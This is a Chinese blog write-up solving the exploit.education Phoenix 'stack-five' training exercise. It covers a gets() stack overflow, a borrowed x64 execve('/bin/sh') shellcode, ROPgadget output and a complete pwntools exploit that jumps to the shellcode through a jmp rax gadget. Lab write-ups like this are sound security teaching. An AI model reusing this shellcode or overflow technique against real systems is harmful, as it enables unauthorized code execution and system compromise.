• phoenix/stack-five


    STACK FIVE

    As opposed to executing an existing function in the binary, this time we’ll be introducing the concept of “shell code”, and being able to execute our own code.

    Hints

    • Don’t feel like you have to write your own shellcode just yet – there’s plenty on the internet.
    • If you wish to debug your shellcode, be sure to make use of the breakpoint instruction. On i386 / x86_64, that’s 0xcc, and will cause a SIGTRAP.
    • Make sure you remove those breakpoints after you’re done.
    /*
     * phoenix/stack-five, by https://exploit.education
     *
     * Can you execve("/bin/sh", ...) ?
     *
     * What is green and goes to summer camp? A brussel scout.
     */
    
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <unistd.h>
    
    #define BANNER 
      "Welcome to " LEVELNAME ", brought to you by https://exploit.education"
    
    char *gets(char *);
    
    void start_level() {
      char buffer[128];
      gets(buffer);
    }
    
    int main(int argc, char **argv) {
      printf("%s
    ", BANNER);
      start_level();
    }
    

    官方原话

    这个题目的要求是:Can you execve("/bin/sh", ...) ?

    要我们执行 execve("/bin/sh", ...) ,也就是要我们拿到一个 shell

    这个题目给的 binary 开启了栈可执行

    image-20200428192042282

    可以看到 NX disable

    说明我们可以把可以把代码放到栈上执行,emmm,怎么说呢,算了,直接解题吧

    image-20200428192418417

    这个就很简单,就一个 gets 函数,读进一个有界的 buffer local_88 里面

    local_88 距离栈底的距离

    image-20200428192745179

    可以看到 rdi 存的是 [RBP + -0x80]

    说明我们可以从 距离 rbp 0x80 的地方往 rbp 这个方向写入,写入 0x80 时刚好到达 rbp ,覆盖 rbp 后到达 返回地址

    所以填充的长度是 :0x80 + 0x8

    好了我们的目标是执行 execve("/bin/sh", ...),怎么整?

    这里就涉及到 shellcode 这个东西了

    快速得到 shellcode

    via:http://shell-storm.org/shellcode/

    可以直接找到你需要的系统的 shellcode,我们现在这道题是 Linux x64

    image-20200428193456168

    看到很多的 shellcode

    找一下 执行 /bin/sh 的

    http://shell-storm.org/shellcode/files/shellcode-806.php

    这个可以,

    /*
     * Execute /bin/sh - 27 bytes
     * Dad` <3 baboon
    ;rdi            0x4005c4 0x4005c4
    ;rsi            0x7fffffffdf40   0x7fffffffdf40
    ;rdx            0x0      0x0
    ;gdb$ x/s $rdi
    ;0x4005c4:        "/bin/sh"
    ;gdb$ x/s $rsi
    ;0x7fffffffdf40:  "30405@"
    ;gdb$ x/32xb $rsi
    ;0x7fffffffdf40: 0xc4    0x05    0x40    0x00    0x00    0x00    0x00    0x00
    ;0x7fffffffdf48: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
    ;0x7fffffffdf50: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
    ;0x7fffffffdf58: 0x55    0xb4    0xa5    0xf7    0xff    0x7f    0x00    0x00
    ;
    ;=> 0x7ffff7aeff20 <execve>:     mov    eax,0x3b
    ;   0x7ffff7aeff25 <execve+5>:   syscall 
    ;
    
    main:
        ;mov rbx, 0x68732f6e69622f2f
        ;mov rbx, 0x68732f6e69622fff
        ;shr rbx, 0x8
        ;mov rax, 0xdeadbeefcafe1dea
        ;mov rbx, 0xdeadbeefcafe1dea
        ;mov rcx, 0xdeadbeefcafe1dea
        ;mov rdx, 0xdeadbeefcafe1dea
        xor eax, eax
        mov rbx, 0xFF978CD091969DD1
        neg rbx
        push rbx
        ;mov rdi, rsp
        push rsp
        pop rdi
        cdq
        push rdx
        push rdi
        ;mov rsi, rsp
        push rsp
        pop rsi
        mov al, 0x3b
        syscall
     */
    
    #include <stdio.h>
    #include <string.h>
    
    char code[] = "x31xc0x48xbbxd1x9dx96x91xd0x8cx97xffx48xf7xdbx53x54x5fx99x52x57x54x5exb0x3bx0fx05";
    
    int main()
    {
        printf("len:%d bytes
    ", strlen(code));
        (*(void(*)()) code)();
        return 0;
    }
    

    我们只需要获得 code 数组里面的东西:

    x31xc0x48xbbxd1x9dx96x91xd0x8cx97xffx48xf7xdbx53x54x5fx99x52x57x54x5exb0x3bx0fx05
    

    这个就是传说中的 shellcode,其实就是一段机器码

    xor eax, eax
    mov rbx, 0xFF978CD091969DD1
    neg rbx
    push rbx
    ;mov rdi, rsp
    push rsp
    pop rdi
    cdq
    push rdx
    push rdi
    ;mov rsi, rsp
    push rsp
    pop rsi
    mov al, 0x3b
    syscall
    

    知道系统调用的人一眼就看的出来,其实就是执行了 0x3b 号系统调用

    系统调用 via:http://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/

    shellcode 的编写我在 mmap 的时候提到过:https://github.com/zero-MK/note/blob/master/mmap/mmap.md

    Shellcode奇技淫巧汇总:https://www.jianshu.com/p/a706ddc1d6bb

    看一下 0x3b 号系统调用是个什么东西,0x3b = 59

    cat /usr/include/asm/unistd_64.h | less
    

    image-20200428194340077

    0x3b 也就是 59 号系统调用是 execve

    再看他的参数,不知道还记不记得,x64 下面函数调用时前 6 个参数是放在寄存器的(rdi, rsi, rcx,rdx,r8,r9

    差不多就是这样

    现在填充长度知道了,shellcode 有了

    但是有一件事我们要知道,shellcode 是放在栈上的,我们现在怎么跳到栈上去执行我们放进去的 shellcode

    这个东西卡了我很久,因为没有 合适的 gadget,像是 pop reg; ret 然后 jmp reg 或者 call reg

    # root @ 285437bb88fa in ~/exploit [17:08:25]
    $ ROPgadget --binary ./stack-five
    Gadgets information
    ============================================================
    0x000000000040060f : add bl, dh ; ret
    0x000000000040060d : add byte ptr [rax], al ; add bl, dh ; ret
    0x000000000040060b : add byte ptr [rax], al ; add byte ptr [rax], al ; add bl, dh ; ret
    0x00000000004005c8 : add byte ptr [rax], al ; add byte ptr [rax], al ; leave ; ret
    0x000000000040060c : add byte ptr [rax], al ; add byte ptr [rax], al ; ret
    0x00000000004005c9 : add byte ptr [rax], al ; add cl, cl ; ret
    0x00000000004005ca : add byte ptr [rax], al ; leave ; ret
    0x00000000004003d1 : add byte ptr [rax], al ; pop rax ; ret
    0x0000000000400486 : add byte ptr [rax], al ; pop rbp ; ret
    0x000000000040060e : add byte ptr [rax], al ; ret
    0x00000000004005ee : add byte ptr [rax], al ; sub rbx, 8 ; call rax
    0x0000000000400485 : add byte ptr [rax], r8b ; pop rbp ; ret
    0x00000000004005ed : add byte ptr [rax], r8b ; sub rbx, 8 ; call rax
    0x000000000040054a : add byte ptr [rcx], al ; pop r12 ; pop rbp ; ret
    0x00000000004005cb : add cl, cl ; ret
    0x000000000040054b : add dword ptr [rcx + 0x5c], eax ; pop rbp ; ret
    0x0000000000400546 : add eax, 0x200374 ; add dword ptr [rcx + 0x5c], eax ; pop rbp ; ret
    0x0000000000400600 : add esp, 8 ; pop rbx ; pop rbp ; ret
    0x0000000000400548 : add esp, dword ptr [rax] ; add byte ptr [rcx], al ; pop r12 ; pop rbp ; ret
    0x00000000004005ff : add rsp, 8 ; pop rbx ; pop rbp ; ret
    0x0000000000400549 : and byte ptr [rax], al ; add dword ptr [rcx + 0x5c], eax ; pop rbp ; ret
    0x00000000004006db : call qword ptr [rdi]
    0x00000000004005f4 : call rax
    0x00000000004005fe : int1 ; add rsp, 8 ; pop rbx ; pop rbp ; ret
    0x0000000000400479 : je 0x400490 ; pop rbp ; mov edi, 0x6008b0 ; jmp rax
    0x00000000004004bb : je 0x4004d0 ; pop rbp ; mov edi, 0x6008b0 ; jmp rax
    0x0000000000400547 : je 0x400554 ; and byte ptr [rax], al ; add dword ptr [rcx + 0x5c], eax ; pop rbp ; ret
    0x0000000000400481 : jmp rax
    0x00000000004005fd : jne 0x4005f8 ; add rsp, 8 ; pop rbx ; pop rbp ; ret
    0x00000000004005a2 : leave ; ret
    0x00000000004005c7 : mov eax, 0 ; leave ; ret
    0x0000000000400614 : mov eax, 0x58fffffe ; ret
    0x000000000040047c : mov edi, 0x6008b0 ; jmp rax
    0x00000000004005a1 : nop ; leave ; ret
    0x0000000000400483 : nop dword ptr [rax + rax] ; pop rbp ; ret
    0x0000000000400608 : nop dword ptr [rax + rax] ; ret
    0x00000000004005eb : nop dword ptr [rax + rax] ; sub rbx, 8 ; call rax
    0x00000000004004c5 : nop dword ptr [rax] ; pop rbp ; ret
    0x000000000040047e : or byte ptr [rax], ah ; jmp rax
    0x0000000000400602 : or byte ptr [rbx + 0x5d], bl ; ret
    0x000000000040054c : pop r12 ; pop rbp ; ret
    0x00000000004003d3 : pop rax ; ret
    0x000000000040047b : pop rbp ; mov edi, 0x6008b0 ; jmp rax
    0x0000000000400488 : pop rbp ; ret
    0x0000000000400603 : pop rbx ; pop rbp ; ret
    0x000000000040054d : pop rsp ; pop rbp ; ret
    0x00000000004005fc : push qword ptr [rbp - 0xf] ; add rsp, 8 ; pop rbx ; pop rbp ; ret
    0x00000000004003d4 : ret
    0x00000000004005f1 : sub ebx, 8 ; call rax
    0x00000000004005f0 : sub rbx, 8 ; call rax
    0x000000000040060a : test byte ptr [rax], al ; add byte ptr [rax], al ; add byte ptr [rax], al ; ret
    
    Unique gadgets found: 51
    

    筛选 gadget

    # root @ 285437bb88fa in ~/exploit [17:16:16]
    $ ROPgadget --binary ./stack-five --only "jmp"
    Gadgets information
    ============================================================
    0x0000000000400481 : jmp rax
    
    Unique gadgets found: 1
    
    # root @ 285437bb88fa in ~/exploit [17:21:16]
    $ ROPgadget --binary ./stack-five --only "call"
    Gadgets information
    ============================================================
    0x00000000004006db : call qword ptr [rdi]
    0x00000000004005f4 : call rax
    
    Unique gadgets found: 2
    

    发现只有 jmp rax 或者 call rax

    但是 没有 pop rax; ret

    我怎么能让 rax 得到 shellcode 的地址呢

    我仔细看了 mainstart_level 的汇编

    image-20200429012429853

    刚开始

    我看到了 gets 的参数是 local_88

    00400595 48 8d 45 80     LEA        RAX=>local_88,[RBP + -0x80]
    00400599 48 89 c7        MOV        RDI,RAX
    0040059c e8 4f fe        CALL       gets                                             
             ff ff
    

    这里有把 local_88 的地址赋值给 rax

    我只要把 shellcode 放在 local_88 上就可以了,我不知道是不是脑子抽了,想着,没有 ret 啊,我怎么跳到 jmp rax 或者 call rax 呢,然后就放弃了

    开始试用 NOP + shellcode + NOP + addr 填充,然后试着 把 addr 覆盖到返回地址期望能踩到前面的 NOP 然后顺着 NOP 执行 shellcode 但是失败了(ASLR)(这里的 NOP 是汇编指令 机器码:0x90)

    然后我看了很久才想起来,rax 一般是在函数结束的时候存返回值的,start_level 没有返回值,把函数汇编可以一遍才发现

    0040058d 55              PUSH       RBP
    0040058e 48 89 e5        MOV        RBP,RSP
    00400591 48 83 c4 80     ADD        RSP,-0x80
    00400595 48 8d 45 80     LEA        RAX=>local_88,[RBP + -0x80]
    00400599 48 89 c7        MOV        RDI,RAX
             ff ff
    004005a1 90              NOP
    004005a2 c9              LEAVE
    004005a3 c3              RET
    

    rax 一直到函数返回都没有改变,我只需要把 shellcode 塞到 local_88 中,然后在 shellcode 的后面填充足够的字符再把 jmp rax 的地址覆盖到 返回地址上,就完事了

    payload 公式:shellcode + ("A" * (0x88 - len(shellcode))) + jmp_rax_addr

    完整的 exp :

    from pwn import *
    
    p = process("./stack-five")
    jmp_rax_addr = 0x0000000000400481
    shellcode = "x31xc0x48xbbxd1x9dx96x91xd0x8cx97xffx48xf7xdbx53x54x5fx99x52x57x54x5exb0x3bx0fx05"
    padding_size = 0x88
    exp = shellcode
    exp += (0x88 - len(shellcode)) * "A"
    exp += p64(jmp_rax_addr)
    
    print(exp)
    
    p.sendline(exp)
    p.interactive()
    

    image-20200429023321300

    pwn!

    gdb 调试我就不上了,后面有时间再写吧

  • 相关阅读:
    ABAP 没有地方输入H 进入DEBUG 怎么办?
    Jsoup实现java模拟登陆
    Jsoup模拟登陆例子
    Jsoup:解决java.net.UnknownHostException的问题
    Java抓取网页数据(原网页+Javascript返回数据)
    利用StringEscapeUtils对字符串进行各种转义与反转义(Java)
    MyEclipse + Tomcat 热部署问题
    管道寄售库存MRKO结算后,冲销问题
    c#操作appsettiongs
    让你的微信小程序具有在线支付功能
  • 原文地址:https://www.cnblogs.com/crybaby/p/12939911.html
Copyright © 2020-2023  润新知